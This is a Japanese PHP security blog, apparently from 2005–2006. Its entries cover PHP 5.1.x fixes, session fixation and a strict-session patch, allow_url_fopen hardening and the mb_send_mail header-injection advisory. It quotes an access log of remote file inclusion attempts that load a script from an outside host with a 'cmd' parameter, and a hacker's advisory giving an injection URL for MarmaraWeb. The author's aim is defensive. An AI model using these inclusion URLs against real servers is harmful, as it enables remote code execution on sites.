タグ: PHP

PHP 5.1.2リリース

重要なセキュリティフィックスが含まれています。

* HTTP Response Splitting has been addressed in ext/session and in the header() function.
* Fixed format string vulnerability in ext/mysqli.
* Fixed possible cross-site scripting problems in certain error conditions.
* Hash & XMLWriter extensions added and enabled by default.
* Upgraded OCI8 extension.
* Over 85 various bug fixes.

最近のキャッシュサーバやクライアントはHTTP Response Splitting攻撃にある程度強くなっている、とはいえサーバの不備はサーバ管理者の責任ですから5.1を使っている方はアップグレードした方が良いと思います。

関連エントリ:
https://www.codeblog.org/blog/yohgaki/?date=20060113

ファイルインクルードブルートフォース攻撃

webappsecでこんなメールを見かけました。

For the most part I ignore the dozens of daily attacks against my system but this one caught my eye. Looks like some defacing groups are writing/implementing
perl scripts to identify query strings, and attempt php inclusion attacks against them (not using known exploits). Below is a log snippet.

202.226.224.67 – – [08/Jan/2006:21:32:43 -0500] “GET / HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35” 202.226.224.67 – – [08/Jan/2006:21:32:44 -0500] “GET /?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:45 -0500] “GET /webservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24083 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:46 -0500] “GET /phishing/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 30626 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:47 -0500] “GET /database/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24267 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:48 -0500] “GET /appservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24521 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:49 -0500] “GET //lib/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 47471 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:50 -0500] “GET /archive/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 25445 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:51 -0500] “GET /development/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24286 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:52 -0500] “GET /ws/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29316 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:53 -0500] “GET //pen-test/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29892 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:54 -0500] “GET /ajax/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 28338 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:55 -0500] “GET /appfirewall/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24073 “-” “lwp-trivial/1.35”

The script located at www.sanicentrum.be might interest some of you, as well as the include file it uses at http://www.sanicentrum.be/private/therules25.dot
and the many scripts it uses/looks for.

Working Referenced Links
* http://www.sanicentrum.be/private/tool25.dot
* http://www.sanicentrum.be/private/writer25.dot
* http://www.sanicentrum.be/private/get25.dot
* http://www.sanicentrum.be/private/filed25.dot
* http://www.sanicentrum.be/private/filed_put25.dot (Of Interest)
* http://www.sanicentrum.be/private/copyd25.dot
* http://www.sanicentrum.be/private/flist25.dot
* http://www.sanicentrum.be/private/style25.dot (Because every defacement group needs html templating :)

Non working (at this time)
* http://www.sanicentrum.be/private/safe25.dot

I’ve contacted sans since the parent host *appears* to be hacked.

– Robert
http://www.cgisecurity.com/ Website Security News, and more!
http://www.cgisecurity.com/index.rss [RSS Feed]

——————————————————————————-
Watchfire’s AppScan is the industry’s first and leading web application
security testing suite, and the only solution to provide comprehensive
remediation tasks at every level of the application. See for yourself.
Download AppScan 6.0 today.

https://www.watchfire.com/securearea/appscansix.aspx?id=701300000003Ssh
——————————————————————————-

Perlスクリプトでブルートフォース的にファイルインクルードバグがあるPHPスクリプトの攻撃を試みているようです。調べて見ると、私のサーバにも同様のアクセスログが残っていました。トップページにあるリンクを抽出し、クエリ文字列部分を書き換えて試してみる作りになっているようです。攻撃用のPHPスクリプトは削除されていて今はアクセスできないようです。

スクリプトインジェクションが出来るのであまり役に立たないとはいえallow_url_fopen=offなら万が一スクリプトインクルードバグがあってもこの攻撃からは守れますね。

やはり、まだある単純リモートスクリプト実行バグ.. どころか

少し前に「やはり、まだある単純リモートスクリプト実行バグ..」と書いていますが、まだあるどころか「まだまだ出てくる」という感じですです。

まず、phpDocumentator、これのテスト用スクリプトにはリモートファイルを実行できるバグがあります。それから、onBoardこれも全く同じくリモートコードを実行できるバグがあります。

onBoardはよく知りませんが、phpDocumentatorは広く使われていると思います。クラックされる可能性が高いのでテスト用コードは削除しておきましょう。(と言うより普通はphpDocumentatorを公開する必要がないので、非公開にしましょう。これ以外にテスト用スクリプトにはリモートスクリプト実行以外にもXSS問題も指摘されています。)

前のブログで当然直っていると思っていたphp://input問題が修正されていない旨のコメントを頂きました。驚いたことに本当に修正されていません。ですからallow_url_fopen=offすればリモートコードの実行は防げますが、リモートからのコードインジェクションは防げません。

php://inputは生のPOSTデータ扱うときに使えるから、などと言っている場合ではないのですが… php://inputを導入した事により今まで無かった脆弱性を作っているは明らかなのですけどね… 新しい脆弱性が仕様です(しかも簡単に直せる)と言うのは受け入れがたいですね。

Mambo, Coppermine, PHPBBが攻撃対象に(2)

/.Jの投稿で気が付いたのですが前に書いた「Mambo, Coppermine, PHPBBが攻撃対象に」でワームが活動している記載しましたが、日本のサーバでも感染しているらしいです。

http://www.merit.edu/mail.archives/nanog/msg14612.html

ネットワークブロックが記載されています。対象のアプリケーションを使っている方は確認された方がよいと思います。
# XMLRPCの対策をされていない方も直ぐに対策が必要です。

Strict Session管理パッチ

Hardedned PHPプロジェクトのStefan EsserさんがPHP SESSIONをより安全に運用するパッチを公開しています。

このパッチはPHPのセッション管理の問題に対応します。PHPのSESSIONモジュールがSession Fixation(セッションIDの固定化)に対して脆弱であることは随分前から広く(?)知られていました。このパッチを適用すればSession Fixation問題も随分改善します。

例えば、PHP SESSIONを利用しているサイトで

http://example.jp/index.php

と言うURLがクッキーを利用したセッション管理行っているとします。セッションデータが初期化されサーバに保存されているか、されていないかに関わらず、ブラウザが送信したクッキーによって指定されたセッションIDがそのまま使われます。このパッチはセッションIDのデータが無ければ、セッションIDを再生成してセッションを開始するよう動作が変わります。(通常のPHPのセッション管理はpermissiveなセッション管理と呼ばれています。パッチ適用後はstrictなセッション管理も選択できるようになります。)クッキーだけを使ったセッション管理では、セッションIDが固定化する問題はあまり深刻な問題ではありませんが、好ましい動作とは言いがたいです。

session.use_only_cookiesがoffの場合、問題は深刻です。

http://example.jp/index.php?PHPSESSID=123456

とすると、セッションデータが無い場合、セッションIDが123456になってしまいます。session.use_cookies=on設定(デフォルト値)でクッキーを利用するセッション管理でも、PHPSESSID=123456をクッキーに設定されます。つまり、デフォルトの状態のPHPのセッション管理はsession.use_only_cookiesがoffである為、普通にSession Fixationに脆弱になってしまいます。一応、サイト外のURLに埋め込まれたセッションIDを受け付けないようにするsession.referer_check設定もあるのですが、REFERERを使っているので十分な対策とはいえません。許可するドメインなどを記載する設定項目なので、当然ですが、デフォルトでは何も設定されていません。何も設定されていない時はREFERERチェックは行われません。

追記:色々書いていますが、要するにデフォルト設定のPHPだとSession Fixationに脆弱である、と言うことです。

より厳格なセッションID管理を行うには、パッチを適用後、

session.use_strict_mode = on

と設定するだけです。

このパッチを適用するとユーザ定義セッションセーブハンドラで以下の2つの関数が利用(定義)できるようになります。

string create_sid()
bool validate_sid($key)

create_sid関数は新しいセッションIDを作成します。
validate_sid関数は$keyが正しいかチェックします。

ところで、デフォルトではsession.use_only_cookiesはoffに設定されています。しかし、普通のサイトはsession.use_only_cookiesはONで運用するべきです。もし、offで運用されている場合、強くONに変更して運用することをお勧めします。先ほども書きましたが、session.use_only_cookies=onであればSession Fixation問題はそれほど重大な問題とは言えません。パッチを適用していない場合でもsession.use_only_cookies=onであればそれほど心配する必要はありません。

# 随分古いInternet ExplorerではXMLHttpRequestで他のサイトにリクエスト
# を送信できたりしました。しかし、今は出来ないのでクッキーを利用した
# セッション管理に対して効果的なSession Fixation攻撃は出来ないと思い
# ます。

やはり、まだある単純リモートスクリプト実行バグ..

Bug-TraqからMarmaraWeb E-commerceにリモートスクリプト実行脆弱性があることがレポートされていました。グーグルで検索しても日本語サイトが無いことから日本では利用されていないECアプリと思います。

MarmaraWeb E-commerce Remote Command Exucetion

###Hi all
###B3g0k[at]hackermail.com
###Kurdish Hacker
###Special Thanx All Kurdish Hackers
###Freedom For Ocalan!!!
###———————————–
###MarmaraWeb E-commerce Remote Command Exucetion
###———————————–
###Site: http://www.marmaraweb.com/referanslar.php#eticaret
###
###Description:An E-commerce scirpt coded by MarmaraWeb.
### selling produces from internet like books,DVDs,roasted chickpeas etc..
###=))
###
###
###Vulnerable:http://[target]/index.php?page=http://yourevilcode?&cmd=
###
###Vulnerable:http://[target]/?page=http://yourevilcode?&cmd=
###
###
###Solution : no I’m sorry =))
###
###Contact : B3g0k[at]hackermail[dot]com
###B3g0k [Kurdish Hacker]
###Freedom For Ocalan!!!
###Her B�j� Defacera Kurd!!!
###Greetz KHC,Serwebun Team,KHA,KCA

今年の6月頃にPHPプロジェクトの開発者MLで「allow_url_fopenがINI_SYSTEMに変更されたのはセキュリティ上問題である」と問題提起(詳しくはこのブログエントリを参照)したのですが、「何のセキュリティ対策になるのか分からない」とメールする人もいるくらいでした… 

このレポートにあるような脆弱性はPHP初心者にはありがちなミスです。やはり私が提案していた対策は必要だと確認できる脆弱性でした。

自分の身は自分で守る、ということでallow_url_fopenをINI_SYSTEMからINI_ALLに変更するパッチはこちらです。

mb_send_mailの脆弱性を利用したSPAM送信

mb_send_mailのRFC822形式の宛先ヘッダの処理がmailと違った為にSPAMの踏台にされた、という問題があったのですがどのプログラムかな?と思いつつ調べていなかったのですが、たまたま見付けました。serendipityだったようです。

http://blog.s9y.org/archives/80-Arbitrary-header-inclusion-in-Mail-Entry-plugin.html
http://www.s9y.org/forums/viewtopic.php?p=17772
http://xtian.goelette.info/index.php?url=archives/38-Email-injection-attack.html

改訂版PHPポケットリファレンスに載るはすだったページ

備考:かなり古いブログですが公開し忘れしていた分です。

改訂版PHPポケットリファレンスに載るはずだった「言語仕様」に関する記述をWikiに載せました。私が直接聞いた感想ではこの言語仕様のページを気に入っているとおっしゃる方も多かったです。短いのでPHPをまったく知らない方が感じをつかむには便利(?)かも知れません。

PHP/tips/モジュールにバグがあった場合の対処

今更… という方もいらっしゃるかも知れませんが「PHP/tips/モジュールにバグがあった場合の対処」ページをWikiに作りました。

PHPのモジュールは基本的にはモジュールAPIが同じであればどのPHPと一緒に使っても構いません。つまり前のバージョンのモジュールが期待通りに動作していたのであれば、新しいPHPで古いモジュールを使えばよいのです。

# ただしセキュリティFIXが含まれる場合はセキュリティ用のパッチ
# を別途含めることをお忘れなく。

気を取り直してPHP5.1.2リリース予定

PHP 5.1.0がリリースされた時のブログエントリに「PHP 5.1を評価しはじめるのはPHP5.1.2からでは」とコメントを書きました。そのPHP5.1.2ですが次のような予定にしては?と本家のMLには投稿されています。

PHP 5.1.2から評価しては、と自分で書いていますが、バグを見つけてバグデータベース

http://bugs.php.net/

に投稿するには今が良い時期と思います。

Date Summary: (not be confused with date extension ;-) )

Until Dec. 10, 2005: Minor features and bug fixes requiring major changes
Dec. 22, 2005: RC1
Jan. 05, 2006: RC2
Jan. 12, 2006: Final (pending critical issues since RC2)

Planned Changes:

* Resolve all currently opened Engine bugs, ideally 5.1.2 will be
released without any unresolved engine problems.
* Resolve all currently open PDO bugs.
* Enable xmlreader extension by default, as we do for all XML
extensions.
* Introduce hash extension via a symlink from pecl into core.
This extension introduces native implementation of common hash
algorithms with streams support, making it an excellent solution
for people requiring better hashing then provided by md5/sha1.
Merits of this extensions have been discussed on this list few
weeks ago, just scroll past the recent flame wars ;-)
* Introduce xmlwriter extension via a symlink from pecl into core and as
other XML extension enable it by default.
* Backport oci extension into 5.1, this is mostly for bug fixing
reasons, as the new code fixes over a dozen bug reports in that
extension.

不適切なアドバイザリ(was 間違ったアドバイザリ) – PHP

SECUNIAから間違った不適切なアドバイザリがレポートされていました。アドバイザリは下記の引用を参照してください。(Web版は修正される可能性もあるので直接貼り付け)

基本的にはメールに送信するTOをスクリプトでチェックしていない事がスクリプトの問題です。

TO(あて先)RFC822の仕様に従いヘッダに記載される情報をCR/LFと1以上の’ ‘(スペース)かタブで区切れる事になっています。この処理に問題がありSPAMメールを送信する踏み台にされるケースがあったようです。mailは元々はsendmailコマンドを使ってメールを送信(Windowsの場合はSMTPですが)するように作られているのでTOにRFC822仕様のデータを送るのはスクリプト側に問題があると思います。

これはPHPの脆弱性と言えない部分もあるのでそもそものアドバイザリが間違っています不適切と思います。”Moderately critical”と言うレベルも不適切です。さらに対処方法まで間違って不適切です。どちらかと言うとアプリの脆弱性としてレポートした方が良いのではないかと思います。アプリの脆弱性とレポートした方がPHP本体をバージョンアップするより、アプリのバージョンアップの方が簡単なのは明らかですから。しかし、mailと比べるとmb_send_mailの実装に不備があったのは確かなのでPHPの脆弱性である、とも言えるので微妙なアドバイザリだと思います。

スパムメール送信の踏み台に使われたアプリがどのアプリか知りませんが、どれかのWebメールプログラムだと思います。WebメールプログラムはWebアプリの中でも安全に構築する事がかなり難しいアプリの一つです。Webメールアプリを作られる方はTOヘッダに送る情報はチェックした方が良いと思います。

この件と似た例ではsafe_modeのアドバイザリがあります。「DBMSからファイルを読み込めばsafe_modeを回避できる」と言うアドバイザリ等、safe_mode関連ではアドバイザリが幾つかあります。PHP本体の開発者はsafe_modeチェックの不足があれば、問題として捉えるべきとは思います。しかし、DBからファイルロードしてアクセスする、となると話は別です。PHPプログラマはsafe_modeはfail_safe_modeと考えて、意図せずコードに問題があり不正にファイルにアクセスできてしまった時の防衛策、位の安全を提供する機能と考えるべきです。しかし、しばしば本当に安全で完全にファイルへのアクセスを制御できる、と思われがちです。

PHPはプログラミング言語とは言ってもフレームワーク的な要素を持っているので、safe_modeやsafe_modeに順ずるチェック行うべきではない、とも言えません。他のスクリプト系言語でもユーザ入力についてはフレームワーク的に対処していたりしています。どこまで行うべきか悩ましい所と思います。

PHP6ではsafe_modeは削除候補ですが、個人的にはsafe_modeは有用なのでfail_safe_modeとして残っていた方が良いと思っています。悪貨(不適切なアドバイザリ)が良貨(有用な機能)を駆逐している、という感想です。

備考:きちんとTOアドレスを確認している方はこのアドバイザリを気にする必要はありません。きちんと確認していない場合、PHPのバージョンアップは必要ありません。自分のコードを修正しましょう。

追記:最初にこのエントリを書いたときにcvs upの不良でmb_send_mailではチェックしている項目をmailではチェックしていない、と思っていました。しかし、PHP 5.1.1でmailではチェックされていた事をmb_send_mailでもチェックする様になった、が正しいです。komuraさん、ありがとうございました。

<blockquote>From:Secunia Security Advisories <sec-adv@secunia.com>
Date:28 Nov 2005 14:19:43 -0000
Subject:[SA17763] PHP “mb_send_mail()” “To:” Header Injection Vulnerability
——————————

TITLE:
PHP “mb_send_mail()” “To:” Header Injection Vulnerability

SECUNIA ADVISORY ID:
SA17763

VERIFY ADVISORY:
http://secunia.com/advisories/17763/

CRITICAL:
Moderately critical

IMPACT:
Security Bypass, Manipulation of data

WHERE:
>From remote

SOFTWARE:
PHP 4.4.x
http://secunia.com/product/5768/
PHP 5.0.x
http://secunia.com/product/3919/

DESCRIPTION:
s.masugata has reported a vulnerability in PHP, which potentially can
be exploited by malicious people to use it as an open mail relay.

The vulnerability is caused due to an input validation error in the
“mb_send_mail()” function. This can be exploited to inject arbitrary
headers in a mail sent via a script calling the “mb_send_mail()”
function where the “To” parameter can be controlled by the attacker.

SOLUTION:
Update to version 5.1.0.
http://www.php.net/downloads.php

Do not call the “mb_send_mail()” function in scripts where input
passed to the “To” parameter originates from untrusted sources.

PROVIDED AND/OR DISCOVERED BY:
s.masugata

ORIGINAL ADVISORY:
The PHP Group:
http://www.php.net/release_5_1_0.php

s.masugata:
http://bugs.php.net/bug.php?id=35307

———————————————————————-

廣川さんのPHPウォッチ

廣川さんのPHPウォッチにも書いてありますが、PHP 4.4で壊れてしまったmbstringの関数が修正されています。廣川さんが枡形さんのパッチやその他のパッチをコミットされていたのでこれらの問題に困っていた方はCVS版(PHP 4.4.2RC)などを試されるとと良いと思います。ざっと見た感じではPHP 5.1.1にはPHP 4.4.2に含まれている修正が全て入っています。

この記事にはPHP6の概要も記載されています。まだまだ気が早いとは思いますがPHP6でも動くコードを書くためのヒントになると思います。

PHP 5.1.1がリリースされました

標準でDateクラスはまずいでしょう、と思っていたのですがやはりクレームが沢山ありました。Dateクラス問題解消のために5.1.1がリリースされた、と言っても良いと思います。safe_modeがデフォルトOnになったにも関わらずcURLのsafe_mode時の動作がまずい、HTTPダイジェスト認証の動作が異なる、という問題も速いアップデート版リリースの一因です。

備考1:標準でDateクラスが定義されるようになった、と言うことは自前でDateクラスを持つコードは5.1では動作しない事を意味します。

備考2:普通はDIGEST認証は使いません。クライアント任せの部分があり互換性に問題があるからです。とは言ってもイントラネットなどでクライアント決め打ちでDIGEST認証を使っている環境では動作の違いは致命的です。

追記:
getenvでエラーが出たのは–enable-safe-modeを指定していたのと同じ状態だったようですね。わざわざこのオプションを付けた記憶はないのですが(というより指定してコンパイルした事がない)ちょっと条件は分からなくなってしまいましたが–with-apxs2を指定しているのにlibphp5.soが生成されなくてmake installでlibphp5.soが所定の場所にインストールされず、ハマリそうになりました。生成された./configureスクリプトが変だったのかな?